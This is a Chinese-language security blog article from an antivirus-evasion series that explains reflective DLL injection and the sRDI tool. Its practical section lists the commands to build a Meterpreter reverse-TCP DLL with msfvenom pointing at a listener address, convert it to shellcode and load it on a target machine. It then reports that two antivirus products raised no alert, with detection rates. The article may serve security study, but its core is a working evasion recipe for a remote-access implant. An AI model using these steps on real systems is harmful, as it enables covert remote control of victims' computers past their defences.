2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,计划把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考,如有侵权请联系删除。有些免杀方式已经效果一般,但很多思路还是值得去学习的。
免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:https://www.yuque.com/tidesec/bypassav
本文内容参考节选自以下资料:
sRDI项目地址:https://github.com/monoxgas/sRDI
反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
在认识反射型DLL注入之前,我们先来了解下什么是DLL注入。
DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。例如,没有它,debug 调试器就不能运行。不过,后来恶意软件也常用这种方式来干坏事,恶意软件通常采用 DLL 注入在另一进程的存储空间内伪装其操作,是一种广泛应用于恶意软件和无文件攻击中的逃避技术。
反射DLL注入用于将DLL加载到进程中,不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程,不必将其放置在主机的文件系统上。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是装载它自身。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。
内存中直接展开,无需.dll文件存在;
反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。利用解密磁盘上加密的文件、网络传输等方式避免文件落地,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。
由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。
sRDI它可以基于 Shellcode 实现反射型 DLL 注入,并且能够将 DLL 转换为独立的 Shellcode。
项目地址:https://github.com/monoxgas/sRDI
相对于标准 RDI,使用 sRDI 的一些优点:
sRDI 的所有功能基于以下两个组件:
一个C语言项目,可将 PE Loader 编译为 Shellcode 转换代码负责将 DLL、RDI 和用户数据进行绑定 由以下元素组成:
DLL 不需要使用 RDI 进行编译,但是该技术具有交叉兼容性。
优点:RAT 或加载器都不需要了解 RDI 或使用 RDI 进行编译。装载机可以保持小巧而简单,避免警告。
优点:使您的初始工具更轻巧,并根据需要添加功能。加载一次 DLL 并像使用其他任何 DLL 一样使用它。
优点:避免使用监视工具来检测 LoadLibrary 调用。访问 API 函数而不会泄漏信息。(WinInet,PSApi,TlHelp32,GdiPlus)
使用 python 将 DLL 转换为 shellcode
from ShellcodeRDI import *dll = open("TestDLL_x86.dll", 'rb').read()
shellcode = ConvertToShellcode(dll)
使用 C# 加载程序将 DLL 加载到内存中
DotNetLoader.exe TestDLL_x64.dll
使用 python 脚本转换 DLL 并使用本机 EXE 加载
python ConvertToShellcode.py TestDLL_x64.dll
NativeLoader.exe TestDLL_x64.bin
使用 powershell 转换 DLL 并使用 Invoke-Shellcode 加载
Import-Module .\Invoke-Shellcode.ps1
Import-Module .\ConvertTo-Shellcode.ps1
Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
sRDI 是使用Visual Studio 2015(v140)和 Windows SDK 8.1 构建的。python 脚本是使用 Python 3 编写的。
Python和Powershell脚本位于:
Python\ConvertToShellcode.py
PowerShell\ConvertTo-Shellcode.ps1
构建项目后,其他二进制文件将位于:
bin\NativeLoader.exe
bin\DotNetLoader.exe
bin\TestDLL_<arch>.dll
bin\ShellcodeRDI_<arch>.bin
在使用VS2017编译时,会报错MSB8020 无法找到 v140 的生成工具(平台工具集 =“v140”)。若要使用 v140 生成工具进行生成,请安装 v140 生成工具
,这是因为sRDI 是使用Visual Studio 2015(v140),而VS2017是v141,这时候需要在项目属性里设置平台工具集为v141。
然后”重新生成解决方案“
若不能解决问题,可以关闭VS,然后把工程目录下的.vs隐藏文件夹删了,再打开VS试试。
使用Msf生成dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll -o shell32.dll
使用ConvertToShellcode.py
来将dll转为bin
python3 ConvertToShellcode.py shell32.dll
在目标机器使用NativeLoader.exe shell32.bin
即可加载。
火绒和360全程无报警。
而使用processhacker等工具很难发现痕迹。
NativeLoader.exe文件查杀率16/61。
shell32.bin文件查杀率13/53。
反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
反射式dll注入:https://blog.csdn.net/weixin_43956962/article/details/105843803
反射型dll注入:https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/
DLL注入新姿势-反射式DLL注入研究:https://www.cnblogs.com/h2zZhou/p/7721797.html
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。